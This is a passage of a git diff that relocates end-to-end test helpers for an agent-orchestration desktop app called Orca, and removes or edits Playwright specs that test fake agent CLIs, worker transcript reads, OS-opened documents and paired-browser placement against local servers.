process.env.ORCA_AGENT_HOOK_VERSION, - payload - }) - }) -} -process.stdout.write('\\u001b]0;${title.replaceAll("'", "\\'")}\\u0007') -process.stdin.on('data', (chunk) => { - const input = chunk.toString() - if (input.includes('--type worker_done')) { - appendFileSync(ledger, '${agent}\\n') - void sendProviderHook() - } -}) -process.stdin.resume() -setInterval(() => {}, 60_000) -` - const executable = path.join(fakeCliDir, process.platform === 'win32' ? `${agent}.cmd` : agent) - if (process.platform === 'win32') { - writeFileSync(path.join(fakeCliDir, `${agent}.js`), source) - writeFileSync(executable, `@echo off\r\nnode "%~dp0\\${agent}.js" %*\r\n`) - } else { - writeFileSync(executable, `#!/usr/bin/env node\n${source}`) - chmodSync(executable, 0o755) - } - return buildFakeAgentCommandOverride(executable) -} - -function providerHookPayload(agent: TranscriptProvider): string { - if (agent === 'claude') { - return "({ hook_event_name: 'UserPromptSubmit', session_id: config.sessionId, transcript_path: config.transcriptPath, prompt: 'Read the provider transcript' })" - } - if (agent === 'grok') { - return "({ hook_event_name: 'user_prompt_submit', sessionId: config.sessionId, cwd: config.cwd, grokHome: config.grokHome, prompt: 'Read the provider transcript' })" - } - return "({ hook_event_name: 'before_agent_start', session_id: config.sessionId, session_file: config.transcriptPath, prompt: 'Read the provider transcript' })" -} - -const agentCommands = Object.fromEntries( - PROVIDERS.map(({ agent, title }) => [agent, writeFakeProvider(agent, title)]) -) as Partial> - -const test = base.extend({ - launchEnv: { - PATH: `${fakeCliDir}${path.delimiter}${process.env.PATH ?? ''}`, - GROK_HOME: fakeGrokHome, - OMP_CODING_AGENT_DIR: fakeOmpHome - } -}) - -test.afterAll(() => { - rmSync(fakeCliDir, { recursive: true, force: true }) -}) - -function readPreambleRecipients(): string[] { - return existsSync(preambleLedgerPath) - ? readFileSync(preambleLedgerPath, 'utf8').split(/\r?\n/).filter(Boolean) - : [] -} - -async function listWorker(client: RuntimeClient, handle: string): Promise { - const terminals = await client.call('terminal.list') - const worker = terminals.result.terminals.find((terminal) => terminal.handle === handle) - if (!worker) { - throw new Error(`Worker terminal ${handle} was not runtime-visible`) - } - return worker -} - -test('worker-read uses provider transcripts across supported orchestration agents', async ({ - orcaPage, - electronApp -}) => { - test.setTimeout(240_000) - rmSync(preambleLedgerPath, { force: true }) - await waitForSessionReady(orcaPage) - await orcaPage.evaluate( - async ({ commands, terminalWindowsShell }) => { - await window.__store?.getState().updateSettings({ - agentCmdOverrides: commands, - terminalWindowsShell, - disabledTuiAgents: [], - terminalHiddenViewParking: false - }) - }, - { commands: agentCommands, terminalWindowsShell: FAKE_AGENT_WINDOWS_SHELL } - ) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActivePanePtyId(orcaPage) - const coordinatorPane = await waitForActivePaneHookDescriptor(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const coordinator = await client.call<{ terminal: { handle: string } }>('terminal.resolvePane', { - paneKey: coordinatorPane.paneKey - }) - const coordinatorHandle = coordinator.result.terminal.handle - const coordinatorSummary = await listWorker(client, coordinatorHandle) - const coordinatorTerminal = await client.call<{ terminal: { worktreeId: string } }>( - 'terminal.show', - { terminal: coordinatorHandle } - ) - let coordinatorWorktreePath = coordinatorSummary.worktreePath - await expect - .poll(async () => { - const listed = await client.call<{ worktrees: { id: string; path: string }[] }>( - 'worktree.list', - {} - ) - const worktree = listed.result.worktrees.find( - (candidate) => candidate.id === coordinatorTerminal.result.terminal.worktreeId - ) - if (worktree?.path) { - coordinatorWorktreePath = worktree.path - } - return Boolean(worktree) - }) - .toBe(true) - const run = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Provider transcript worker-read regression', - from: coordinatorHandle - }) - - for (const provider of PROVIDERS) { - const task = await client.call<{ task: { id: string } }>('orchestration.taskCreate', { - spec: `Read the ${provider.agent} provider transcript`, - run: run.result.run.id, - callerTerminalHandle: coordinatorHandle - }) - const transcriptDir = mkdtempSync( - path.join(os.tmpdir(), `orca-e2e-${provider.agent}-transcript-`) - ) - const sessionId = `e2e-${provider.agent}-session` - const transcriptPath = - provider.agent === 'grok' - ? path.join( - fakeGrokHome, - 'sessions', - encodeURIComponent(coordinatorWorktreePath), - sessionId, - 'chat_history.jsonl' - ) - : provider.agent === 'omp' - ? path.join(fakeOmpHome, 'workspace', `2026-08-30T00-00-00_${sessionId}.jsonl`) - : path.join(transcriptDir, `${provider.agent}-session.jsonl`) - const initialTranscript = provider - .transcript(sessionId, provider.first, provider.second, provider.third) - .split('\n') - .filter(Boolean) - // The initial file intentionally stops before the cursor continuation row. - mkdirSync(path.dirname(transcriptPath), { recursive: true }) - writeFileSync(transcriptPath, `${initialTranscript.slice(0, 2).join('\n')}\n`) - // Emit the hook through the authenticated provider path only after the fake CLI receives its injected preamble. - writeFileSync( - path.join(fakeCliDir, `${provider.agent}-config.json`), - JSON.stringify({ - sessionId, - transcriptPath, - ...(provider.agent === 'grok' - ? { cwd: coordinatorWorktreePath, grokHome: fakeGrokHome } - : {}) - }) - ) - const started = await client.call<{ - dispatchId: string - effects: { kind: string; role?: string; id?: string }[] - }>('orchestration.workerStart', { - task: task.result.task.id, - from: coordinatorHandle, - agent: provider.agent, - timeoutMs: 30_000 - }) - const workerHandle = started.result.effects.find( - (effect) => effect.kind === 'terminal' && effect.role === 'agent' - )?.id - if (!workerHandle) { - throw new Error(`${provider.agent} worker-start returned no agent terminal`) - } - const worker = await listWorker(client, workerHandle) - - type WorkerRead = { - source: string - fallbackReason?: string | null - provider?: string - cursor?: string - transcript?: { messages: { blocks: { type: string; text?: string }[] }[] } - } - let firstRead: { result: WorkerRead } | undefined - await expect - .poll( - async () => { - try { - firstRead = await client.call('orchestration.workerRead', { - dispatch: started.result.dispatchId, - source: 'auto', - limit: 10 - }) - return `${firstRead.result.source}:${firstRead.result.fallbackReason ?? 'none'}` - } catch { - return '' - } - }, - { timeout: 30_000, message: `${provider.agent} transcript never became readable` } - ) - .toBe('transcript:none') - expect(firstRead?.result.provider).toBe(provider.agent) - expect(firstRead?.result.transcript?.messages).toHaveLength(2) - - appendFileSync(transcriptPath, `${initialTranscript[2]}\n`) - const continuation = await client.call<{ - source: string - transcript: { messages: { blocks: { text?: string }[] }[] } - }>('orchestration.workerRead', { - dispatch: started.result.dispatchId, - cursor: firstRead?.result.cursor, - limit: 10 - }) - expect(continuation.result.source).toBe('transcript') - expect( - continuation.result.transcript.messages.map((message) => - message.blocks.map((block) => block.text).filter(Boolean) - ) - ).toEqual([[provider.third]]) - - await expect.poll(() => readPreambleRecipients()).toContain(provider.agent) - await client.call('orchestration.send', { - from: worker.handle, - subject: 'Completed', - body: `The ${provider.agent} transcript read passed. Nothing remains.`, - type: 'worker_done', - payload: JSON.stringify({ - taskId: task.result.task.id, - dispatchId: started.result.dispatchId, - outcome: 'succeeded' - }) - }) - await expect - .poll(async () => { - const dispatch = await client.call<{ dispatch: { status: string } | null }>( - 'orchestration.dispatchShow', - { task: task.result.task.id } - ) - return dispatch.result.dispatch?.status - }) - .toBe('completed') - - const release = await client.call<{ state: string }>('orchestration.workerRelease', { - dispatch: started.result.dispatchId - }) - expect(release.result.state).toBe('released') - const archived = await client.call<{ - source: string - provider?: string - archived?: boolean - status: { liveness?: string } - transcript: { messages: { blocks: { text?: string }[] }[] } - }>('orchestration.workerRead', { dispatch: started.result.dispatchId, source: 'auto' }) - expect(archived.result).toMatchObject({ - source: 'transcript', - provider: provider.agent, - archived: true, - status: { liveness: 'exited' } - }) - expect( - archived.result.transcript.messages.map((message) => - message.blocks.map((block) => block.text).filter(Boolean) - ) - ).toEqual([[provider.first], [provider.second], [provider.third]]) - rmSync(transcriptDir, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/helpers/completed-worker-retirement-fixture.ts b/tests/e2e/orchestration/completed-worker-retirement-fixture.ts similarity index 95% rename from tests/e2e/helpers/completed-worker-retirement-fixture.ts rename to tests/e2e/orchestration/completed-worker-retirement-fixture.ts index f3f5dd8b5aa..ec07a8f4270 100644 --- a/tests/e2e/helpers/completed-worker-retirement-fixture.ts +++ b/tests/e2e/orchestration/completed-worker-retirement-fixture.ts @@ -1,4 +1,4 @@ -import { readPersistedProfileState } from './persisted-profile-state' +import { readPersistedProfileState } from '../desktop/electron-fixtures/persisted-profile-state' import { execFileSync } from 'node:child_process' import { chmodSync, @@ -16,9 +16,9 @@ import type { RuntimeTerminalListResult, RuntimeTerminalSummary } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { buildFakeAgentCommandOverride } from './fake-agent-command-override' -import { FAKE_AGENT_PASTE_END_SCANNER_SOURCE } from './fake-agent-paste-end-scanner' -import { FAKE_CODEX_LAUNCH_PROBES_SOURCE } from './fake-codex-launch-probes' +import { buildFakeAgentCommandOverride } from '../agents/session-fixtures/fake-agent-command-override' +import { FAKE_AGENT_PASTE_END_SCANNER_SOURCE } from '../agents/session-fixtures/fake-agent-paste-end-scanner' +import { FAKE_CODEX_LAUNCH_PROBES_SOURCE } from '../agents/session-fixtures/fake-codex-launch-probes' const fakeCliDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-retired-worker-')) const recoveryConfigPath = path.join(fakeCliDir, 'recovery-config.json') diff --git a/tests/e2e/helpers/orchestration-mail-pane-agent.ts b/tests/e2e/orchestration/orchestration-mail-pane-agent.ts similarity index 100% rename from tests/e2e/helpers/orchestration-mail-pane-agent.ts rename to tests/e2e/orchestration/orchestration-mail-pane-agent.ts diff --git a/tests/e2e/helpers/orchestration-mail-store.ts b/tests/e2e/orchestration/orchestration-mail-store.ts similarity index 100% rename from tests/e2e/helpers/orchestration-mail-store.ts rename to tests/e2e/orchestration/orchestration-mail-store.ts diff --git a/tests/e2e/orchestration-run-pages.ts b/tests/e2e/orchestration/orchestration-run-pages.ts similarity index 86% rename from tests/e2e/orchestration-run-pages.ts rename to tests/e2e/orchestration/orchestration-run-pages.ts index 9a250b7030e..f698f20dfd9 100644 --- a/tests/e2e/orchestration-run-pages.ts +++ b/tests/e2e/orchestration/orchestration-run-pages.ts @@ -1,4 +1,4 @@ -import { ORCHESTRATION_RUN_PAGE_LIMIT } from '../../src/shared/orchestration/orchestration-run-pagination' +import { ORCHESTRATION_RUN_PAGE_LIMIT } from '../../../src/shared/orchestration/orchestration-run-pagination' export type OrchestrationRunSummary = { id: string diff --git a/tests/e2e/orchestration-worker-workspace-resolution.unit.test.ts b/tests/e2e/orchestration/orchestration-worker-workspace-resolution.unit.test.ts similarity index 85% rename from tests/e2e/orchestration-worker-workspace-resolution.unit.test.ts rename to tests/e2e/orchestration/orchestration-worker-workspace-resolution.unit.test.ts index a3fdeed4bff..12572ae7d2d 100644 --- a/tests/e2e/orchestration-worker-workspace-resolution.unit.test.ts +++ b/tests/e2e/orchestration/orchestration-worker-workspace-resolution.unit.test.ts @@ -16,22 +16,22 @@ const electronMocks = vi.hoisted(() => { vi.mock('electron', () => electronMocks) const scanLocalRepoWorktreesForResolution = vi.hoisted(() => vi.fn()) -vi.mock('../../src/main/runtime/workspaces/catalog/repo-worktree-resolution-scan', () => ({ +vi.mock('../../../src/main/runtime/workspaces/catalog/repo-worktree-resolution-scan', () => ({ scanLocalRepoWorktreesForResolution })) -import '../../src/main/runtime/orchestration/db/contract-constants' -import '../../src/main/runtime/orchestration/db/messages/mailbox-routing-page' -import '../../src/main/runtime/orchestration/db/dispatch-row-writer' -import '../../src/main/runtime/orchestration/db/attempt-outcome-projection' +import '../../../src/main/runtime/orchestration/db/contract-constants' +import '../../../src/main/runtime/orchestration/db/messages/mailbox-routing-page' +import '../../../src/main/runtime/orchestration/db/dispatch-row-writer' +import '../../../src/main/runtime/orchestration/db/attempt-outcome-projection' -import type { FolderWorkspace } from '../../src/shared/folder-workspaces/folder-workspace-types' -import type { ProjectGroup } from '../../src/shared/project/groups/project-group-types' -import type { Repo } from '../../src/shared/repository/repo-types' -import type { WorktreeMeta } from '../../src/shared/worktree/meta-types' -import type { RuntimeStore } from '../../src/main/runtime/construction/runtime-store-contract' -import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' -import type { HostWorktreeTarget } from '../../src/shared/worktree/host-qualified-identity' +import type { FolderWorkspace } from '../../../src/shared/folder-workspaces/folder-workspace-types' +import type { ProjectGroup } from '../../../src/shared/project/groups/project-group-types' +import type { Repo } from '../../../src/shared/repository/repo-types' +import type { WorktreeMeta } from '../../../src/shared/worktree/meta-types' +import type { RuntimeStore } from '../../../src/main/runtime/construction/runtime-store-contract' +import { OrcaRuntimeService } from '../../../src/main/runtime/orca-runtime' +import type { HostWorktreeTarget } from '../../../src/shared/worktree/host-qualified-identity' const REPO_ID = 'repo-1' const REPO_PATH = '/repo' diff --git a/tests/e2e/os-opened-documents.spec.ts b/tests/e2e/os-opened-documents.spec.ts deleted file mode 100644 index 54d70eb878d..00000000000 --- a/tests/e2e/os-opened-documents.spec.ts +++ /dev/null @@ -1,111 +0,0 @@ -import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { pathToFileURL } from 'node:url' -import { test, expect } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' - -for (const extension of ['md', 'csv', 'tsv'] as const) { - test(`opens OS-requested ${extension} documents on cold and warm launches without duplicate tabs`, async ({ - seedTestRepo - }, testInfo) => { - void seedTestRepo - const root = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-os-documents-'))) - const delimiter = extension === 'tsv' ? '\t' : ',' - const coldPath = path.join(root, `cold.${extension}`) - const warmPath = path.join(root, `warm.${extension}`) - writeFileSync( - coldPath, - extension === 'md' - ? '# Cold result\n\n42\n' - : `name${delimiter}amount\nCold result${delimiter}42\n` - ) - writeFileSync( - warmPath, - extension === 'md' - ? '# Warm result\n\n84\n' - : `name${delimiter}amount\nWarm result${delimiter}84\n` - ) - const unsupportedPath = path.join(root, 'unsupported.txt') - writeFileSync(unsupportedPath, 'private content') - const session = createRestartSession(testInfo, { - ORCA_BACKGROUND_LAUNCH: '1', - ORCA_E2E_ENFORCE_SINGLE_INSTANCE_LOCK: '1' - }) - let launched: Awaited> | undefined - try { - launched = await session.launch({ extraArgs: [coldPath, pathToFileURL(coldPath).href] }) - const { app, page } = launched - // OS-opened CSVs are editable, so they render as an ARIA grid rather than a table. - const grid = page.getByRole('grid', { name: 'CSV editor' }) - const coldResult = - extension === 'md' - ? page.getByRole('heading', { name: 'Cold result' }) - : grid.getByRole('gridcell', { name: 'Cold result', exact: true }) - const warmResult = - extension === 'md' - ? page.getByRole('heading', { name: 'Warm result' }) - : grid.getByRole('gridcell', { name: 'Warm result', exact: true }) - await expect(coldResult).toBeVisible() - await expect(page.getByText('42', { exact: true })).toBeVisible() - await expect( - page.locator('[data-tab-id]').filter({ hasText: `cold.${extension}` }) - ).toHaveCount(1) - const coldProof = testInfo.outputPath('cold-open.png') - await page.screenshot({ path: coldProof }) - await testInfo.attach('cold-open', { path: coldProof, contentType: 'image/png' }) - - await app.evaluate(({ app }, fileUrl) => { - app.emit('second-instance', {}, ['orca', fileUrl], process.cwd()) - }, pathToFileURL(warmPath).href) - await expect(warmResult).toBeVisible() - await expect(page.getByText('84', { exact: true })).toBeVisible() - - await page - .locator('[data-tab-id]') - .filter({ hasText: `cold.${extension}` }) - .click() - await expect(coldResult).toBeVisible() - - await app.evaluate(({ app }, filePath) => { - app.emit('open-file', { preventDefault() {} }, filePath) - }, warmPath) - await expect(warmResult).toBeVisible() - await expect( - page.locator('[data-tab-id]').filter({ hasText: `warm.${extension}` }) - ).toHaveCount(1) - const warmProof = testInfo.outputPath('warm-open.png') - await page.screenshot({ path: warmProof }) - await testInfo.attach('warm-open', { path: warmProof, contentType: 'image/png' }) - - await app.evaluate(({ app }, filePath) => { - app.emit('open-file', { preventDefault() {} }, filePath) - }, unsupportedPath) - await expect( - page.locator('[data-tab-id]').filter({ hasText: 'unsupported.txt' }) - ).toHaveCount(0) - const unauthorizedRead = await page.evaluate(async (filePath) => { - try { - await window.api.fs.readFile({ filePath }) - return 'allowed' - } catch (error) { - return error instanceof Error ? error.message : String(error) - } - }, unsupportedPath) - expect(unauthorizedRead).toContain('Access denied') - expect( - await app.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().every( - (window) => !window.isVisible() && !window.isFocused() - ) - ) - ).toBe(true) - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - rmSync(root, { recursive: true, force: true }) - } - }) -} diff --git a/tests/e2e/packaged-mixed-version-browser-placement.spec.ts b/tests/e2e/packaged-mixed-version-browser-placement.spec.ts deleted file mode 100644 index ec71e7f36da..00000000000 --- a/tests/e2e/packaged-mixed-version-browser-placement.spec.ts +++ /dev/null @@ -1,367 +0,0 @@ -import { createServer, type Server } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' - -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - collectCleanupFailures, - launchPackagedPairedClient, - packagedExecutable, - packagedExecutableMissing, - PACKAGED_EXECUTABLE_ENV, - type PackagedPairedClient -} from './helpers/packaged-old-orca' - -const CLIENT_HOST_CAPABILITY = 'browser.clientHost.v1' -const TUNNEL_CAPABILITY = 'network.browserTunnel.v1' - -type BrowserFixture = { - close(): Promise - url: string -} - -type BrowserCreateResult = { - browserPageId: string -} - -type PackagedPlacementCleanup = () => Promise | void - -async function withPackagedPlacementCleanup( - run: (registerCleanup: (cleanup: PackagedPlacementCleanup) => void) => Promise -): Promise { - const cleanups: PackagedPlacementCleanup[] = [] - let testError: unknown - try { - await run((cleanup) => cleanups.unshift(cleanup)) - } catch (error) { - testError = error - } - const cleanupErrors = await collectCleanupFailures(cleanups) - if (testError !== undefined && cleanupErrors.length > 0) { - throw new AggregateError([testError, ...cleanupErrors], 'Placement test and cleanup failed') - } - if (testError !== undefined) { - throw testError - } - if (cleanupErrors.length > 0) { - throw new AggregateError(cleanupErrors, 'Packaged placement cleanup failed') - } -} - -async function closeServer(server: Server): Promise { - await new Promise((resolve, reject) => { - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }) -} - -async function startBrowserFixture(): Promise { - const server = createServer((_request, response) => { - response.writeHead(200, { - 'cache-control': 'no-store', - 'content-type': 'text/html; charset=utf-8' - }) - response.end( - '

packaged-skew-marker

' - ) - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - return { - close: () => closeServer(server), - url: `http://127.0.0.1:${(server.address() as AddressInfo).port}/browser` - } -} - -async function readOwnedPageUrls(app: ElectronApplication, url: string): Promise { - return app.evaluate( - ({ webContents }, prefix) => - webContents - .getAllWebContents() - .map((contents) => contents.getURL()) - .filter((candidate) => candidate.startsWith(prefix)), - url - ) -} - -async function createBrowserThroughPackagedClient(args: { - client: PackagedPairedClient - url: string - worktreePath: string -}): Promise { - return args.client.page.evaluate( - async ({ environmentId, url, worktreePath }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'browser.tabCreate', - params: { - activate: true, - url, - waitForRegistration: true, - worktree: `path:${worktreePath}` - }, - timeoutMs: 60_000 - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result as BrowserCreateResult - }, - { - environmentId: args.client.environmentId, - url: args.url, - worktreePath: args.worktreePath - } - ) -} - -async function readRemoteSnapshot(args: { - environmentId: string - page: Page - pageId: string - worktreePath: string -}): Promise { - return args.page.evaluate( - async ({ environmentId, pageId, worktreePath }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'browser.snapshot', - params: { page: pageId, worktree: `path:${worktreePath}` }, - timeoutMs: 30_000 - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return (response.result as { snapshot: string }).snapshot - }, - { - environmentId: args.environmentId, - pageId: args.pageId, - worktreePath: args.worktreePath - } - ) -} - -async function findPairedWorktreeId(page: Page, repoPath: string): Promise { - await expect - .poll( - () => - page.evaluate( - (candidatePath) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === candidatePath)?.id ?? null, - repoPath - ), - { timeout: 60_000 } - ) - .not.toBeNull() - const worktreeId = await page.evaluate( - (candidatePath) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === candidatePath)?.id ?? null, - repoPath - ) - if (!worktreeId) { - throw new Error('Paired worktree disappeared after discovery') - } - return worktreeId -} - -async function createBrowserThroughCurrentClient(args: { - client: PairedElectronClient - url: string - worktreeId: string -}): Promise<{ localPageId: string; remotePageId: string }> { - await args.client.page.evaluate( - async ({ environmentId, url, worktreeId }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Current client store is unavailable') - } - state.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - const groupId = state.activeGroupIdByWorktree[worktreeId] - if (!groupId) { - throw new Error('Current client has no active tab group') - } - state.setBrowserDefaultUrl(url) - await state.openNewBrowserTabInActiveWorkspace(groupId) - }, - { environmentId: args.client.environmentId, url: args.url, worktreeId: args.worktreeId } - ) - await expect - .poll( - () => - args.client.page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - if (!browserPage.url.startsWith(url)) { - continue - } - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return { - localPageId: browserPage.id, - placementKind: handle?.placement?.kind ?? null, - remotePageId: handle?.remotePageId ?? browserPage.id - } - } - } - return null - }, - { url: args.url, worktreeId: args.worktreeId } - ), - { timeout: 60_000 } - ) - .toMatchObject({ placementKind: null }) - const mirrored = await args.client.page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - if (browserPage.url.startsWith(url)) { - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return { - localPageId: browserPage.id, - remotePageId: handle?.remotePageId ?? browserPage.id - } - } - } - } - return null - }, - { url: args.url, worktreeId: args.worktreeId } - ) - if (!mirrored) { - throw new Error('Server-hosted browser page disappeared after materialization') - } - return mirrored -} - -test.describe('packaged mixed-version browser placement', () => { - test.skip( - packagedExecutableMissing, - `${PACKAGED_EXECUTABLE_ENV} must point at an older packaged Orca executable` - ) - - test('keeps an old packaged client on the current server-hosted path', async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(300_000) - await withPackagedPlacementCleanup(async (registerCleanup) => { - const host = await launchHeadlessPairedRuntimeHost() - registerCleanup(() => host.dispose()) - const fixture = await startBrowserFixture() - registerCleanup(() => fixture.close()) - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const client = await launchPackagedPairedClient({ - executablePath: packagedExecutable!, - offer: host.offer, - testInfo, - name: 'STA-4150 packaged old client' - }) - registerCleanup(() => client.dispose()) - expect(client.status.capabilities).not.toContain(CLIENT_HOST_CAPABILITY) - expect(client.status.capabilities).not.toContain(TUNNEL_CAPABILITY) - - const created = await createBrowserThroughPackagedClient({ - client, - url: fixture.url, - worktreePath: testRepoPath - }) - await expect.poll(() => readOwnedPageUrls(host.app, fixture.url)).toHaveLength(1) - expect(await readOwnedPageUrls(client.app, fixture.url)).toHaveLength(0) - expect( - await readRemoteSnapshot({ - environmentId: client.environmentId, - page: client.page, - pageId: created.browserPageId, - worktreePath: testRepoPath - }) - ).toContain('packaged-skew-marker') - expect(client.version).toMatch(/^1\./) - }) - }) - - test('keeps a current client on an old packaged server-hosted path', async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(300_000) - await withPackagedPlacementCleanup(async (registerCleanup) => { - const host = await launchHeadlessPairedRuntimeHost({ - executablePath: packagedExecutable!, - // Why: the old macOS helper has a 103-byte Unix socket ceiling. - ...(process.platform === 'darwin' - ? { agentBrowserSocketParent: '/tmp', userDataParent: '/tmp' } - : {}) - }) - registerCleanup(() => host.dispose()) - const fixture = await startBrowserFixture() - registerCleanup(() => fixture.close()) - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - await host.client.call('terminal.create', { - worktree: `path:${testRepoPath}`, - title: 'Packaged mixed-version browser canary' - }) - const client: PairedElectronClient = await launchPairedElectronClient( - host.offer, - testInfo, - 'STA-4150 current client to packaged old host' - ) - registerCleanup(() => client.dispose()) - const status = await client.page.evaluate(async (environmentId) => { - const response = await window.api.runtimeEnvironments.getStatus({ - selector: environmentId, - timeoutMs: 30_000 - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, client.environmentId) - expect(status.capabilities).not.toContain(CLIENT_HOST_CAPABILITY) - expect(status.capabilities).not.toContain(TUNNEL_CAPABILITY) - - const worktreeId = await findPairedWorktreeId(client.page, testRepoPath) - const created = await createBrowserThroughCurrentClient({ - client, - url: fixture.url, - worktreeId - }) - await client.page.evaluate( - ({ localPageId, worktreeId }) => - window.__store?.getState().focusBrowserTabInWorktree(worktreeId, localPageId, { - surfacePane: true - }), - { localPageId: created.localPageId, worktreeId } - ) - await expect(client.page.getByTestId('remote-browser-frame').first()).toBeVisible({ - timeout: 60_000 - }) - await expect.poll(() => readOwnedPageUrls(host.app, fixture.url)).toHaveLength(1) - expect(await readOwnedPageUrls(client.app, fixture.url)).toHaveLength(0) - expect( - await readRemoteSnapshot({ - environmentId: client.environmentId, - page: client.page, - pageId: created.remotePageId, - worktreePath: testRepoPath - }) - ).toContain('packaged-skew-marker') - }) - }) -}) diff --git a/tests/e2e/paired-browser-create-navigation-deadline.spec.ts b/tests/e2e/paired-browser-create-navigation-deadline.spec.ts deleted file mode 100644 index 4c85b19222d..00000000000 --- a/tests/e2e/paired-browser-create-navigation-deadline.spec.ts +++ /dev/null @@ -1,383 +0,0 @@ -import { createServer, type Server, type ServerResponse } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const OPERATION_ID = 'sta-4231-owner-pinned-navigation-hold' - -type HeldNavigationServer = { - close: () => Promise - pendingCount: () => number - release: () => void - sourceUrl: string - url: string -} - -type CreateOutcome = { - error: string | null - ok: boolean - pageId: string | null -} - -async function startHeldNavigationServer(): Promise { - const pending = new Set() - const server: Server = createServer((request, response) => { - if (request.url?.startsWith('/source')) { - response.writeHead(200, { 'content-type': 'text/html; charset=utf-8' }) - response.end( - `open held page` - ) - return - } - if (!request.url?.startsWith('/hold')) { - response.writeHead(404, { 'content-type': 'text/plain; charset=utf-8' }) - response.end('not found') - return - } - pending.add(response) - response.once('close', () => pending.delete(response)) - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - const { port } = server.address() as AddressInfo - const release = (): void => { - for (const response of pending) { - if (!response.destroyed && !response.writableEnded) { - response.writeHead(200, { 'content-type': 'text/html; charset=utf-8' }) - response.end('released') - } - } - pending.clear() - } - return { - close: () => - new Promise((resolve, reject) => { - release() - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }), - pendingCount: () => pending.size, - release, - sourceUrl: `http://127.0.0.1:${port}/source`, - url: `http://127.0.0.1:${port}/hold?operation=${OPERATION_ID}` - } -} - -async function readHostBrowserPageIds( - hostClient: RuntimeClient, - worktreeId: string -): Promise { - const response = await hostClient.call('session.tabs.list', { - worktree: `id:${worktreeId}` - }) - return response.result.tabs.flatMap((tab) => - tab.type === 'browser' && tab.browserPageId ? [tab.browserPageId] : [] - ) -} - -async function createOwnerPinnedBrowser( - page: Page, - environmentId: string, - worktreeId: string, - url: string -): Promise { - return page.evaluate( - async ({ environmentId, url, worktreeId }) => { - try { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'browser.tabCreate', - params: { - activate: true, - url, - waitForRegistration: true, - worktree: `id:${worktreeId}` - }, - timeoutMs: 15_000 - }) - if (!response.ok) { - return { - error: `${response.error.code}: ${response.error.message}`, - ok: false, - pageId: null - } - } - const result = response.result as { browserPageId: string } - return { error: null, ok: true, pageId: result.browserPageId } - } catch (error) { - return { - error: error instanceof Error ? error.message : String(error), - ok: false, - pageId: null - } - } - }, - { environmentId, url, worktreeId } - ) -} - -async function findPairedWorktreeId( - client: PairedElectronClient, - repoPath: string -): Promise { - const worktreeId = await expect - .poll( - () => - client.page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ), - { timeout: 60_000, message: 'paired client never received the host worktree' } - ) - .not.toBeNull() - .then(() => - client.page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ) - ) - if (!worktreeId) { - throw new Error('Paired worktree disappeared after discovery') - } - return worktreeId -} - -async function readClientBrowserPageIds(page: Page, worktreeId: string): Promise { - return page.evaluate((worktreeId) => { - const state = window.__store?.getState() - return (state?.browserTabsByWorktree[worktreeId] ?? []).flatMap((workspace) => - 